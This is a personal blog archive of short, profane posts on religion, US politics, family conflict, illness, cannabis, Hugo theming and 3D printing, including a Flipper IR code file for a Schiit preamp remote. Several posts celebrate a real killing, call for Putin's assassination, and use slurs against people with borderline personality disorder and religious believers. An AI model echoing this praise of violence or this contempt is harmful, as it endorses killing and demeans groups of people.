People believe this shit. People live their whole lives committed to this lie. It’s wild to me. Then again, I also recently watched “The Contestant”, so I guess I’m not that shocked about what people will dedicate large portions of their lives to. Still though. This religion is a messy amalgam of about a hundred polytheistic practices bastardized and dumped into the form factor we know today as “Christianity”. What makes it even worse is that the bible is a cumbersome and ancient text with a lot of problems. It remains willfully ignorant of things like homosexuality, chromosomal aberration, and medicine on the whole. I get it. I really do. How could these goat-fucking Shepards have ever conceived of a future where people stare into all-knowing glass bricks that connect them instantly with any locale on the planet? Obviously they never saw it coming. Had no notion of DNA or really knowledge at large, and honestly the bible goes pretty far in condemning knowledge. In fact, the only fictional character in the entire bible who is even remotely curious about how the world works is Satan. This goes far in explaining why Satanism has always been an option for people who are disgusted by christianity. If you have enough brain cells, you likely will seek damn near any alternative.

New Year; New Disasters

Sat, 04 Jan 2025 14:37:31 -0500

Well, it’s a new year. Time for new mistakes, new regrets; lets just wrap the whole shebang into one awful pill and do the old “hard swallow”!

Not really sure what I had planned for this post, if anything. Honestly I don’t think I had an idea of what I wanted to say today. I guess it doesn’t matter all that much. Does it ever really matter? I write and I write and the world is still a shithole. Kinda like how cops work every day and the world is still a shithole. Lawyers work every day and the world is still fucked. Maybe those roles don’t actually make any impact, eh? That’s really the only thing I can discern from such phenomena.

Live Rosin Ripoffs

Mon, 30 Dec 2024 12:49:47 -0500

Bought a few bags of “live rosin” and “full spectrum” gummies today, mostly just to see what the hype is around them. First I can say that live rosin doesn’t do flavor any favors. It tastes like someone softened a cannabis plant stalk and that’s what I’m chewing on. The flavor is basically spot on for grass. It’s unsuppressible. No fruit additives or artificial flavors can tame the freshly mowed lawn in your mouth when you’re eating these damn things. Sure, regular ass cheap gummies have a hint of planty taste, but they still pack enough wallop to get you where you want to be. These live rosin gummies seem to be delayed onset, comparatively, and don’t seem to be as potent. It’s almost as if the CBD/CBG/CBN and other endocannabinoids aren’t doing much outside of suppressing the bare THC you’re hoping to feel. I’m glad we have variety. I’m glad we have choice. I’m also glad the everyman is controlling the market and the hipsters are relegated to snooty expensive bullshit that’s really subpar. You hipsters can have all this bullshit “live rosin”, it’s honestly only good for dabs. And even then, it usually isn’t worth the extra cost.

Musk and Vivek Called You Retards

Sun, 29 Dec 2024 13:18:19 -0500

We’ve reached a new peak in the class war. Elon Musk and Vivek Ramaswamy have thrown down and stated that they “need” H-1B visas because Americans are just retarded. Not my words. Theirs. Damn near verbatim.

Here’s my problem with this. They’re liars. They’re enormous fucking liars, and the reason they are compelled to hire H-1B visa holders is because they not only pay their salaries, but the H-1B visa holder has extra incentive to obey because they’ll be shipped back to their home country if they don’t play ball. Great way to prevent whole groups from unionizing. This is the modern equivalent to the Chicago Stockyards. There will be violence, and I don’t know if Musk is quite ready for that. There was violence then, too. It was the reason things changed. The violence ended corporate hegemony (such as scrip and corporate housing) and ushered in a new era of labor relations(unions and labor protections).

Belabored

Sat, 28 Dec 2024 17:51:44 -0500

There are two things about myself that I hate. Two things I actively try to change or compensate for. I hate my pessimism, and I hate my rigidity. I’ve actually made some amount of progress on my rigidity. I’ve exposed myself to more things, new ideas, I’ve made actual progress against rigidity. It’s slow going, but it’s progress. Honestly, drugs have helped on that front. Weed makes me pretty chill, enough so to “go with the flow”. The pessimism, though- That’s been a far harder nut to crack. It drives me up a fucking wall, though. It really does. There are aspects of it that maybe are beneficial, but overall it goes over about as well as cement shoes in the open ocean. Some days I can’t determine which came first: the disappointment or the pessimism. And yet it’s truly a crutch. It’s something to lean on when you invest in something and don’t expect much in return. It drives me absolutely insane, though. What’s worse is that I don’t know how to improve it when statistically, it isn’t wrong. Stats are literally where pessimism lives. I guess if you deal in macabre numbers it stands to reason you’ll see macabre results. I don’t know. It drives me absolutely apeshit, though. I don’t know how to change it. Even when I want to change it, and I ask someone how to change it, I feel like the people telling me what to do are just feeding me bullshit. It’s crushing to feel this way most of the time. The weight of the burden is immense. I don’t know how to shed myself of it, and the closest I’ve ever gotten is smoking it away.

Disappointment

Mon, 23 Dec 2024 15:42:16 -0500

One day I decided that I would tell my mother she hurt my feelings in a healthy way. I explained to my mother that, if we’re really trying to improve our relationship, it might be important for us to spend time together. My mother formerly would go on vacations with me and my kids. Eventually she would go on vacations only with my ex wife. I told my mother that it hurts my feelings that she would not deem to spend such time with me but happily does so often with my ex, and that it would be important to me for her to make time for me.

Good Lord

Sun, 22 Dec 2024 10:45:19 -0500

People must think I’m stupid. Or maybe they think I’m easily manipulated? Not really sure which it is, but Jesus.

While some individuals may have characteristics of both disorders, making such a significant change in diagnosis can be complex and potentially harmful. It’s crucial to consider the individual’s specific symptoms, medical history, and family background.

Here are some factors to consider:

Age of onset: BPD typically presents during adolescence or early adulthood, while ASD symptoms may be evident in early childhood.

Severity of symptoms: BPD is typically characterized by more severe emotional dysregulation and interpersonal problems compared to ASD.

Treatment response: BPD treatment has been shown to be more effective than ASD treatment for improving emotional regulation and reducing impulsive behaviors.

Family history: Individuals with a family history of BPD are more likely to be diagnosed with BPD, while ASD is typically diagnosed in individuals with no family history of the disorder.

It’s important to note that changing the diagnosis can have significant implications for access to treatment, support services, and educational opportunities. Consulting with a mental health professional who specializes in both BPD and ASD is crucial for making an informed decision about the diagnosis.

Downtime

Wed, 18 Dec 2024 06:11:30 -0500

It’s gonna be nice to have two weeks off. I need it, honestly. I need to recharge my batteries. The only thing I need more is to go someplace warm with a beach. That’s coming in February, thank God. It’s needed, earned, and heavily anticipated.

You know, I’m actually kinda proud of humanity. Collectively we’ve risen up to say that we’re not really sad about Brian Thompson’s death, and honestly, we’ll fuckin do it again if we have to. It’s unfortunate that they’re going to make an example of Luigi. The country already has a disturbing obsession with serial killers. Honestly, Luigi is not a serial killer, but he has absolutely legitimized murder via his victim choice. Brian Thompson was a slug. A worm. He knew he was exploiting UnitedHealth customers. He did so with great chagrin. I’ve been wanting to talk about media coverage of the murder. Mostly I think the press is running with public support for Luigi for a few reasons. One, it’s impossible to miss. It’s the elephant in the room. Two, it’s a little sensationalist. Yes, it’s very true. Hell, I’m celebrating Brian Thompson’s death. Fuck that guy. Got what he fuckin deserved. I hope Luigi gets off for it, too. I feel bad for his family, but they’ve enjoyed growing fat like ticks off the backs of people paying premiums to UnitedHealth. I don’t feel that bad for them. Their loss is society’s gain. It is a fair trade.

Interlinked

Tue, 17 Dec 2024 06:53:02 -0500

A system of cells interlinked within cells interlinked within cells interlinked within one stem… And dreadfully distinct against the dark, a tall white fountain played.

Obvious Blade Runner fan if you couldn’t tell. I think I finally have a handle on this blog again. It only took me yet another eternity. What a wild journey, though. From Wordpress to Jekyl to Hugo. I’ve used all manner of text editors, including notepad and even a weird Android text editor. I’m not super happy with the present theme, but I think I’m happy enough to not fuck with it for a minute. I might give that ‘reTerminal’ theme another whack at some point. That’ll be a ways out, I think. The one thing I wish this theme had that other themes do would be at least a summary or small snippet of each post body on the main page. Currently it’s just a line-by-line of topics. It’s okay, but I would prefer at least some 100 or so characters of each post were wedged in there somewhere.

Borderline Bitch Gets What She Deserves (Tazed)

Mon, 16 Dec 2024 17:54:32 -0500

Haaaaaahahahahahahahahaha.

Dumb borderline bitch got what she absolutely had coming. Hilarious.

Ray William Johnson did his own breakdown, but either way it’s just hilarious to watch.

He gives some context you don’t see in the raw cop footage. The psycho bitch was trying to use driveway gravel as a makeshift knuckleduster to kick her boyfriend’s ass.

Exhausted

Tue, 10 Dec 2024 06:57:02 -0500

I really don’t know if this week and a half are gonna be enough time off to reclaim my sanity. It’s been a rough few, honestly. I’m not wildly excited about whatever the hell the future holds, and everything I’m doing right now is boring and feels like an immense burden. I haven’t touched my 3D printer at all, I don’t play any videogames anymore, and I really haven’t done shit with my computer. I’ve basically just watched TV. That’s it. That’s what I’m doing with my life now. I’m watching TV. Saying that’s depressing is missing the soul-sucking conditions that pull a person into such a miserable vacuum. The very first requirement is that you need a job to demoralize and demean. That’s pretty much every job in this economic climate. The second requirement is that your means of income has to be close enough to your hobbies that it gives you a sincere distaste for them.

Lucid

Mon, 09 Dec 2024 08:48:46 -0500

The holidays are drawing nigh. You’d think that massive loads of time off would be the most joyous event in my life, at least if you knew me. But it’s a dual-edge sword. Yes, the time off is fantastic. No, what we’re expected to do with that time off is absolutely infinitely less than fantastic. It’s actually bullshit when you think critically about it. Yet if that expectation didn’t exist we wouldn’t get that time off. They’re inextricably linked and also polar opposites. I dunno. It’s all kinda just bullshit to me.

Christian Zionism is Social Cancer

Mon, 02 Dec 2024 10:02:14 -0500

In case you missed the title of this post; I’m intending to eviscerate the Christian Zionist movement and lay bare what it really is. Of course, I don’t have a lot of work to do with this post, as honestly Christian Zionists are a very lonely handful of people. The reasons for this are bountiful.

First and foremost, Christian Zionism is one of those “Pia Fraus” situations. If you aren’t aware of what “Pious Fraud” means, it’s an ancient catholic doctrine that gave the church infinite leeway in doing inhumane and terrible things to whomever opposes the church. The tenet itself is simple: “Nothing that results in furtherance of church expansion or ideals could possibly be evil”. I mean, call me a sucker, but whenever a leader asks for infinite forgiveness the result is probably something uncharacteristically evil.

Schiit Freya IR Codes in Flipper Format

Sat, 30 Nov 2024 18:56:17 -0500

In case you’re ever screwed because you lost the hunk of aluminum they ship along with their units, you can easily either use this file to control your Freya with a flipper or use a flipper to program a replacement remote by “teaching” the new one with your flipper and this file.

Filetype: IR signals file
Version: 1
# 
name: VolUp
type: parsed
protocol: NECext
address: F1 1B 00 00
command: F2 0D 00 00
# 
name: VolDn
type: parsed
protocol: NECext
address: F1 1B 00 00
command: F3 0C 00 00
# 
name: Mute
type: parsed
protocol: NECext
address: F1 1B 00 00
command: F5 0A 00 00
# 
name: Input
type: parsed
protocol: NECext
address: F1 1B 00 00
command: F1 0E 00 00
# 
name: Gain
type: parsed
protocol: NECext
address: F1 1B 00 00
command: F4 0B 00 00

Substance

Mon, 25 Nov 2024 10:28:40 -0500

The holidays are horrible. They’re not necessarily inherently horrible, they’re fine. They’re whatever. It’s not my cup of tea, and the holidays themselves have no real meaning to me. They used to be about spending time with family and catching up. That did have meaning to me. I don’t get that anymore, though. My mom gatekeeps my family from me. She doesn’t want me around, and so I am not around. But I have nowhere to go for the holidays, I have nothing to do but contemplate what life would be like to have a real mother, and not whatever the hell I was saddled with.

Pointless

Sat, 23 Nov 2024 13:05:47 -0500

Was staring at this damn thing recently and realized that I need yet another “proof of life” post, because why not? I have the space, I might as well use the space. So here’s my latest “proof of life” rant.

And rant is exactly what I mean. I don’t really have a point with this post outside of letting people know I still exist. I guess I could fabricate a point.

The Russian Government Is a Joke

Sat, 02 Nov 2024 12:06:16 -0500

Unless you’ve been living under a rock for a minute, you’ve probably seen examples of the Russian government actively oppressing companies they don’t like. Such as this. What a fucking joke. Fuck your propaganda, fuck your need to control a narrative, and fuck you in general. I hope someone shoots Putin in his fucking useless head. Someone really should, honestly. What a fascist piece of shit.

Can we arrange that, please? Honestly. Putin just needs to be assassinated. Useless fucking twat.

Monsoon

Wed, 30 Oct 2024 09:04:17 -0400

When I was a kid, I had a pair of those really awesome planar magnetic speakers from “Monsoon”. Surprisingly, I managed to hold onto those things and they’re currently connected to my mac mini. I need to get a DAC and preamp to really drive them appropriately, but they’re sorta rigged into the system currently regardless and honestly even with my patchwork bullshit setup they still sound very respectable. I do plan on getting a Schiit DAC and maybe one of those preamps they sell to drive them how they should be driven, but it’s not in the cards right this moment.

Anhedonia

Tue, 29 Oct 2024 11:17:17 -0400

The election is this week. It’s wild how little elections in the past have mattered, yet they were painted as some high stakes game. With Project 2025 waiting in the wings, our democracy is actually actively being threatened. How good are our checks and balances? How resilient is our government to tyranny? Do we really want to find these answers out the hard way? Your vote this year can give answers.

Arc Is Not Your Friend

Mon, 28 Oct 2024 08:55:11 -0400

I’ve been using “Arc Browser” as a daily driver for a few months now, and overall I have to say that the user experience is better than decent. The tools available within Arc make for quite a usable browser.

That said, Arc does nothing to protect your privacy. It looks like I’m switching back to Brave, I guess. At least until I can find something better.

Over It

Thu, 24 Oct 2024 11:02:31 -0400

I’ve had a relentless cough now for almost three months. In that time I’ve had pneumonia, multiple colds, and bronchitis. It’s not a great year for me to respire. Guess I’ll stop.

I think I’ve found a text editor that’s going to tear me away from vim. Helix is honestly really awesome. It’s not a 1:1 vim drop-in, but it’s definitely “inspired by” to a significant enough extent that migrating isn’t painful in the least. On the contrary, migrating to helix is awesome. It’s written in rust, multi-platform, and has some awesome features. 10/10, do recommend.

Simplicity

Sat, 12 Oct 2024 16:13:18 -0400

I’m sitting here on my laptop writing this, updating my blog to conform to the latest Hugo requirements, and holding my wife’s foot. She’s banging out an 18 page essay for her class and I’m just sitting next to her and cuddling her, enjoying her presence, touching her skin in soothing ways that say “I adore you”. It is a simple weekend, but a wonderful one. It seems like every week that passes we get closer, and if I have to leave town for work, it doubles the closeness that grows.

3D Printing With ASA

Tue, 01 Oct 2024 06:29:27 -0400

I’ve learned a thing or two about this fickle material. The first thing I’ve learned is; Holy balls does it warp. If you’re printing something rectangular, you’re probably going to either need “mouse ears” or five layers of raft in order to compensate for irregular material cooling. Yes, that’s why warping happens. Material is cooler in one part of the already established material than the rest, so the cooler part contracts and causes the part to warp.

Withdrawal

Wed, 18 Sep 2024 10:26:20 -0400

Caffeine might be the most nefarious thing we humans have normalized. What a drug, right? It makes you feel like you’re exercising just being stationary. It increases your sitting heart rate. It gives you a burst of energy. It also strongly counteracts feelings of tiredness.

Well, those are the good things about caffeine. The negative points are all over the map, though. They range from the inconvenience of existing without caffeine for a day to the worst migraine you’ve ever experienced when you try to quit cold turkey.

Haitian Lunch

Tue, 17 Sep 2024 08:56:47 -0400

Holy fucking shit. I just overhauled the theme I use on this blog with a ton of overrides to make it compliant with Hugo v0.130, and now I’m getting a warning about YET ANOTHER deprecated setting. I really need to look at the Hugo roadmap to see if I can get ahead of this theme nonsense. It’s unreal, truly. I appreciate the performance gains I’ve noticed over time, but the constant smacking down of conventions that have worked well enough for as long as they have is getting pretty tiresome. Especially when so much of it feels really arbitrary.

Happy 9/11!

Wed, 11 Sep 2024 09:16:50 -0400

Do you remember where you were the day the planes hit the twin towers? I sure remember where I was.

Shit was crazy.

Never before had their been such an audacious action taken against US sovereignty. The red, white, and blue, violated within her borders by those who wish to do her harm. Ironically, they didn’t do nearly as much harm as voters did afterward.

It has now been 8356 days since the temporary provisions of the Patriot Act have been instated.

Progress

Mon, 09 Sep 2024 10:00:10 -0400

In order to create a post you have to give it a title. I never have a title for new posts, I haven’t written them yet. So I pick a jumble of words to create my file with and then just move on to writing. Sometimes I stay within the topic, but mostly the title is not the topic. I dunno.

Weekdays are certainly not my favorite days. They’re really the worst days. They don’t start getting good until about 5pm, if I’m being honest with myself. Weekends are where it’s at. That’s the good stuff. Those days where people don’t ask anything of you. Where you can just laze about your house in pajamas for a contiguous 48 hour window and just enjoy yourself. That’s really where it’s at. How do I make every day of the week like that? Do I have to get reincarnated as offspring of a billionaire? I think that might be the only way to do that. I can’t just “start” midway through my life as a billionaire or offspring of one. I guess that explains that weird 80’s genre of people inheriting massive amounts of cash. People really do daydream about not having to sit through this mundane bullshit ever again. I know I do. Though inheritance is maybe not the most optimal route. I guess it’s better than a kick in the dick.

Somnolent

Thu, 05 Sep 2024 10:17:22 -0400

Tomorrow is Friday. I can’t wait.

Apparently Elegoo has rebranded “OrcaSlicer”, which I haven’t tried yet, and released it as an official slicer for the Neptune 4 (and likely all their 3D FDM printers). I might try it out. PrusaSlicer was also based on slic3r, so it’s likely that it has a somewhat similar feel to PrusaSlicer.

I’m so tired. My grandmother developed emphysema in her thirties and I’m honestly terrified I may also have developed it. I know it made her life substantially more difficult, despite the fact that she wound up living to 70.

Full Swing

Wed, 04 Sep 2024 06:43:57 -0400

School is back in full swing for all grade levels by this point. Soon we’ll be folding into fall and then the holiday season, along with all the headaches and hassle they bring. I finally wrote something semi-technical recently! My last post, god dammit. It’s something, at least. Still don’t know what my lung issue is. Still having X-rays and tests and blah blah. The pulmonologist’s office is supposed to be calling me. The weird thing is I have a coworker that’s had the same issue. He also hasn’t received any answers from doctors on what’s going on. It’s kinda crazy. Maybe it’s something to do with weed vape cartridges in my state? I dunno. At this point I don’t think I can rule anything out, honestly.

3D Printing Notes

Tue, 03 Sep 2024 19:38:54 -0400

Man, I can’t even tell you how much I’ve learned since I picked up my first 3D printer. It was encouraging to have my very first print take off and just look beautiful at the end. It wasn’t until subsequent prints that I began to learn limitations and methods of overcoming those limitations.

Hairspray is a game changer for bed adhesion. Throw the glue sticks away, they’re comedically useless by comparison.

Salami

Fri, 30 Aug 2024 07:41:16 -0400

It’s almost a certainty that some academic will eventual post meta-analyses on a link between an uptick in upper respiratory infections and climate change. More heat, more pressure for plants to overproduce pollen, more problems for those sensitive to allergens. If it hasn’t already been published, just wait and watch. I contracted pneumonia for no good goddamn reason. I’m not even the only one.

I’ll be the first to admit I don’t know everything. I don’t even know half of everything. I would venture so far as to say I don’t know a quarter of everything. “Everything” as a concept is kind of heady considering it involves… well… Everything? It’s even meta, because meta is absolutely a part of everything. Does that make it ultra-meta? I don’t know. Add that to the list. In any case, I don’t know everything. I don’t know how scary climate change is, or if it’s even scary at all. I know there are natural sine waves to everything. Nearly any system has a pendulum or a heartbeat, an ebb and flow.

Booooooooring

Thu, 22 Aug 2024 08:27:39 -0400

It’s only Thursday. Why can’t it be Friday? It should really be Friday instead of Thursday, honestly. I’m really tired of staring at these parts I’m working on.

Finding balance in a project is really hard. If the project is too short, time management becomes really problematic and starts becoming the majority of burden in the project. Many short projects run over because you’re spending more time on budgeting time than actually doing the work. On the opposite side of that are the long projects. They’re great for time management because you’re literally dedicating weeks to tasks. Time management is no longer the problem with a bigger project. Instead, you end up becoming soured on the project because it’s far more tedious. You find yourself in repetitious loops of doing the same tasks over and over for all the volume of work in the project.

Hugo

Wed, 21 Aug 2024 16:29:50 -0400

Jesus. I can’t even tell you how much time and effort I’ve spent keeping the same theme limping along for Hugo while Hugo continually progresses and advances in how it’s generating content. The theme I picked hasn’t changed a ton over time. I’ve had to address essentially every deprecation along the way using “_default” templates. I can’t even count how many I’ve had to do at this point, but I might as well just fork the damn theme and own it myself, since the original author isn’t really interested in keeping it up anymore.

Sundead

Tue, 13 Aug 2024 15:07:36 -0400

I think I’ve entered the point in my career where I’m skilled enough to be bored, but not bored enough to change the scenery. I don’t even have a notion of what a change of scenery would look like at this point. I think the best I could hope for is someone else deigning to make plans for me.

Lately I’ve been getting into meshtastic. It’s pretty awesome, honestly. Two planes have flown overhead and said “hello” so far. Very neat stuff. The distances that meshtastic can achieve over 915mhz is really quite wild.

Angela Deem Wants a Slave

Sat, 03 Aug 2024 19:24:51 -0400

90 Day Fiance “star” Angela Deem, a woman who is purportedly 58 years at time of filming but looks like she’s 75- she’s upset that her Nigerian husband doesn’t want to be her slave.

Let it be clear; There is an unfortunate group of Americans who seek relationships with foreigners in order to start a relationship on unequal ground and hold citizenship over the other person’s head. Angela Deem and a few other “90 Day Fiance” stars are decidedly just trying to buy slaves.

Boxer Drama

Fri, 02 Aug 2024 08:52:46 -0400

Algeria knocked the absolute lights out of Italy in the Olympics in Paris recently and everyone’s tits are sore about it. There seems to be a lot of information swirling around this individual, but there are a few facts that really shouldn’t be discarded. First, Algeria isn’t exactly a “LGBT-friendly” country. Homosexuality is illegal in Algeria. So how exactly would a trans person obtain a passport legally if they cannot legally change the gender they identify with? It’s stated that Imane Khelif’s passport lists her as female. As a direct result you can assume her birth certificate was issued identifying her as female, which would mean the doctor who facilitated her birth observed she is genetically female.

Lungorrhea

Thu, 01 Aug 2024 09:07:17 -0400

Holy shit, I’m almost positive I have Cystic Fibrosis at this point. This is just fucking absurd. A full ten day regimen of Doxycycline, Albuterol, Prednisone, and I’m still not actually better yet. It feels like someone laced one of my joints with industrial abrasive. I guess I have to go back to a doctor and see what the hell they say, which is just ridiculous, because God damn.

I can’t just live at the clinic.

Hackencoffin

Wed, 24 Jul 2024 09:52:51 -0400

Tried working this week with the cough going on, it didn’t go great. I got some stuff done, but certainly not as efficiently as I could at 100%. In any case, I’m home and bored and recovering right now. I’m starting to feel better. I’m producing gunk from my lungs and the more I remove from my lungs, the better I feel. It’s almost as though I can impactfully feel elevated oxygen levels in my body. I probably can, in all honesty, but I don’t have an oxygen sensor to definitively track it.

Harris Needs a Personality Coach

Mon, 22 Jul 2024 09:25:24 -0400

Kamala Harris needs a personality coach if she’s going to make the needle move this election cycle. I’ve checked her voting record, and it’s pretty far left. She’s going to have to find some swagger as well as some common ground with people that I’m sure she’s upturned her nose at for a considerable amount of her life. That was always something Biden seemed to struggle with, getting into public shouting matches with construction workers and other randoms.

CrowdStrike Should Answer to Congress

Fri, 19 Jul 2024 08:58:03 -0400

I’m a firm believer that when something absolutely shits the bed as hard as the CrowdStrike Agent software has, they should be reporting directly to Congress on what happened, why it happened, and how it could be prevented in the future.

I would also love to see exploratory hearings on opening this sort of software up, making code transparent, and fostering sharing among security professionals. Truly, this is the way forward for humanity, and the only thing in the way is greed and arrogance.

Multi-Model

Tue, 16 Jul 2024 08:58:47 -0400

It’s an odd thing to think about, but I think it speaks to the maturity of our species. Most of my life I remember physics being the search for grand and unifying models and equations that explain all processes and activity from the micro-world of muons to the macro-world of quarks. As a species it does appear as though we’re entering a new era of discovery, and part of that new era is realigning our expectations of the data we gather. So far we have seen unexpected maths popping up in odd places and maths that you would expect to cleanly explain things just fall apart with little deference.

Unprecedented

Mon, 15 Jul 2024 21:08:30 -0400

Yesterday marked the absolute most absurd incompetence ever displayed by the United States Secret Service that the country has ever witnessed. They absolutely screwed the pooch. They may as well have been a monkey fucking a football in the corner. This twenty something managed to crawl his ass up to a rooftop of a building that was occupied by useless donut-swallowers. Then this Reddit-obsessed soyboy proceeded to fail to hit a target no fewer than eight times despite spending a pretty penny on some serious kit. Charles Whitman is frowning from his grave. Thomas Crooks will have died for absolutely nothing, without contributing anything to humanity, and for absolutely no reason. What a waste. His mom should’ve swallowed him.

Petty

Tue, 09 Jul 2024 11:34:29 -0400

Okay, I wrote the last post, and I kind of regret it. I do have something to say, I was just hesitant to say it. Realistically, I have a lot to say right now, but I’m trying to be selective about it. But I also know that getting things off my chest feels pretty good, so I think I’m going to lean into that with this post.

My mother and my sister are apparently far right “anti-vaxx” goons. My sister has wanted to be a physical therapy assistant since she was small and had seen PT’s working with disabled children on TV commercials. “I want to do that!” she would say. Then COVID happened. My sister got some weird ideas stuck in her head from the inbred morons she was dating. She got into “mudding” and “pink camo”, so that tells you what sort of garbage she found herself dating. I guess the garbage rubbed off, because she refused to get vaccinated when the COVID vaccines finally hit. Now my sister has given up on this supposedly life-long dream in order to pursue a lower paying career that doesn’t have vaccine requirements.

Squelching

Tue, 09 Jul 2024 10:36:08 -0400

I’ve typed and erased the first line of this post a few times already. Sometimes the hardest part of having your own soapbox is not knowing what you want to say in the moment. I guess I don’t always have opinions that are actively trying to claw their way out of my brain. Sometimes my opinions are more than happy to exist without popping their heads up or making themselves known. I know it doesn’t look that way on the outset, but it’s true.

Contextually Unrelated

Sun, 07 Jul 2024 14:56:57 -0400

I am a tired person these days. It’s not a physical exhaustion so much. You know how society drives “respect your elders” and “you should always treat your parents respectfully because without them you wouldn’t exist”? Well, imagine for a moment that your parent is really unconcerned with your feelings. Taking it a step further, what if that parent had unreasonable expectations to boot? Now lets string this situation along for literal decades. Sprinkle in a mixture of supporting cast that alternates between “wow, that’s fucked up” and “why don’t you just apologize?”

Joe Biden Cannot Win in November

Thu, 04 Jul 2024 09:51:30 -0400

The debate performance that has everyone up in arms really is just the beginning. Every corner of the internet that’s watching closely is screaming at the computer monitor or cell phone screen as fascism begins to creep up. Everything is going to hell in a handbasket, and all you have to do is lie to people about giving a shit. These dealers in misery, brokers of despair, they’re selling US citizens for pittances. People like Jason Miller who knocked a woman up and then poisoned her with plan B.

Presidential Debate

Fri, 28 Jun 2024 18:17:51 -0400

Holy fucking shit. That’s really all I can say about the debate last night. Holy. Fucking. Shit. The Democrats are really banking on the whole “don’t vote Satan into the White House again” strategy, when I’m not entirely sure the left has that kind of endurance. In all reality, I don’t think anyone has that kind of endurance. It’s a huge ask for an entire population to maintain vigilance. An enormous ask. A large enough ask that makes me wonder what the hell kind of a strategy this is.

Summer Bummer

Sun, 23 Jun 2024 19:30:44 -0400

There’s a distinct air of incoming depression, if not at least recession. The number of open jobs is still higher than the number of unemployed people, but each is trending in the opposite direction in a bad way. I can’t personally say whether or when the axe will fall. I don’t really know anything more than anyone else. All I really know is that I’ve been told in school over and over again that capitalism is a sine wave of expansion and contraction, though the ripples are supposed to increase in intensity over time. That means extreme expansion and extreme crontraction. The wildest part is that we’ve currently sailed into this mess riding a wild crest of previously unheard of prosperity for the top one percent of the country. Every other class also did well, just not as well as those on the very top.

The Hypocrisy of "Ethical" American Corporations

Fri, 21 Jun 2024 06:46:13 -0400

Everyone’s more than accustomed to pride and black history months, but I think the puzzle piece few are paying attention to would be the amount of money dumped into those months by American corporations. While those months are reminders for everyone on the hardships endured by people classified as minority groups, they’re meant for being celebrated by the public at large. Corporations are not party to the public at large. They don’t represent us, our wishes, or our voices. They are parasites telling you you’re worth less than the spooge that made you. So if that’s true, why are corporations just such “good guys” and pouring so much money into these events?

Pihole Docker Upgrade Pipeline

Wed, 19 Jun 2024 09:06:05 -0400

I’ve been running pihole for a minute now, and I think I’ve devised a process for upgrading that’s short, sweet, and to the point. It provides quick upgrades and might even be something possibly automated.

So here goes.

First thing you need is to make a folder somewhere on the system that your compose file and config files will live in. Throw it anywhere, it’s your system with your security practices, I don’t really give a damn. That’s my warning for “do at your own risk, you assume all liability”. Once you have your compose file, start your container with:

Politics

Tue, 18 Jun 2024 10:07:32 -0400

It’s interesting to me how we continue to allow debate on already settled matters such as “your religion is not my ethical quandry” and “I don’t care how you feel about it, you’re not even involved”. If everyone understood these matters as settled, “hot topics” such as abortion would already be constitutionally protected.

Instead we suffer these absolute cunts of humans who try and govern us as if we were all members of the same church. No, that’s not reality, that’s not how it works. At some point I would like to unmask the masked asshole, to find the culprits behind this moronic “war of feelings”. I highly doubt it goes all the way to the Vatican. Not much does, to be honest. It’s all just a puppet show, publicly and behind the scenes. The real ne’er-do-wells are corporate in nature, striving to add to their golden parachutes. We all have a common enemy and he’s wearing a suit and talking about pleasing shareholders. It’s well past time we fired this douche. Eventually we need to fire them all. There are many problems in the world and firing them seems like the most fitting solution.

Sunday Lazy Sunday

Sun, 16 Jun 2024 10:50:34 -0400

I’m feeling pretty indignant with the current political climate. It seems we’ve all relented and just accepted that “those who own the means and control the means” will never be held accountable for squeezing the working class dry.

So we get to see a pity party get thrown for “First Son” and “Crack Enthusiast” Hunter Biden by media pundits who honestly don’t deserve their soapboxes anymore. Wasn’t nepotism something they were critical of Trump for? The double standards on both sides reveal that both sides are not vastly dissimilar from one another. Both are just extremist silos that provide an utter vacuum for any sort of debate to exist in. So we get this deadlocked bullshit literally everywhere. No one can have anything they want. Everyone is walking on eggshells. It’s the most absurd bullshit I’ve ever seen.

Lindsey Graham Is Admitting to Being Unethical

Thu, 13 Jun 2024 18:46:25 -0400

My wife always likes to say, “When someone tells you who they are, believe them.” The takeaway being that when someone admits to you that they’re awful, you should take their word for it. Sometimes people will pop off with some random fact that describes how terrible they are, and then they’ll try to backpedal it or take it back to some extent. You really should just take it at face value, and if you can live with that then fine. If you can’t, perhaps it’s time to reconsider.

Erudition

Tue, 11 Jun 2024 09:30:27 -0400

I really am so tired. I’m at an interesting junction of my career. I have developed a tool that extends a piece of software’s functionality into protecting intellectual property, but the company I work for who develops the main software package introduced a feature-breaking bug that eliminates the capabilities of my software. It also eliminates a lot of functionality of the software in general, though it’s apparent that there aren’t a lot of “power users” complaining.

Shaken Faith

Fri, 07 Jun 2024 08:25:11 -0400

It’s wild to me how so many of the 99% of people in the bottom rungs of capitalism actually play the game in good faith. They don’t lie, they don’t cheat, they don’t steal. All while the 1% at the top are essentially doing nothing other than lie, cheat, and steal. They deceive. They control. Most importantly, while they do all this, they line government pockets with their loose change in exchange for a status above everyone else. If there were checks and balances in place, which the government is supposed to be party to, then there would be some actual equity in the world. Is it likely we’ll see that in our lifetimes? Of course not. Not a snowball’s chance in Hell, honestly. I promise you there’s no hope for our species. None. Not a single fucking drop of hope for our species in general. Now, can individuals make slight differences in the lives of other individuals? Sure, but that’s literally just a fart in a hurricane. A drop of relief in an ocean of pain. Humanity fucking sucks. Capitalism is garbage. Communism would be great if humanity didn’t fucking suck.

Genuine

Sun, 02 Jun 2024 13:01:50 -0400

I don’t know anymore. Honestly, I don’t think I want to know at this point. I think ignorance is probably the path forward. I can remain ignorant of things that don’t involve me, that’s fine. I don’t need people in my life who don’t want to be in my life. There’s no point in pretending to give a damn, so I don’t pretend, and I guess everyone else can just stop pretending as soon as they’re ready to put down the facade of superiority.

Dear Youtube

Sat, 01 Jun 2024 10:12:27 -0400

I will never give you money for Youtube Premium. The reason is simple: Giving you money only prevents me from seeing ads, it doesn’t prevent you from selling my data. I shouldn’t have to pay you to not sell my data. Since I can’t pay you to not sell my data and I can’t do anything except protect myself with ad blockers, that’s exactly what I’m going to do. If you make it impossible to watch videos with an ad blocker, I’m just going to switch to a different service; exactly like everyone else will. So, fuck you Google and Youtube; I will never give you money for an “ad free” experience.

About

Sat, 01 Jun 2024 13:32:33 +0000

NOTE: A lot of this is going to be outdated and incorrect. Like, quite a lot.

About Me

I am an anti-religion extremist. I go to great lengths to take a shit on religion actively and passively. Mocking the religious is a way of life. It’s not my entire personality, but it’s definitely kneaded into my dough. Muslims, Catholics, Mormons, JW’s, it’s open season on all of these morons.

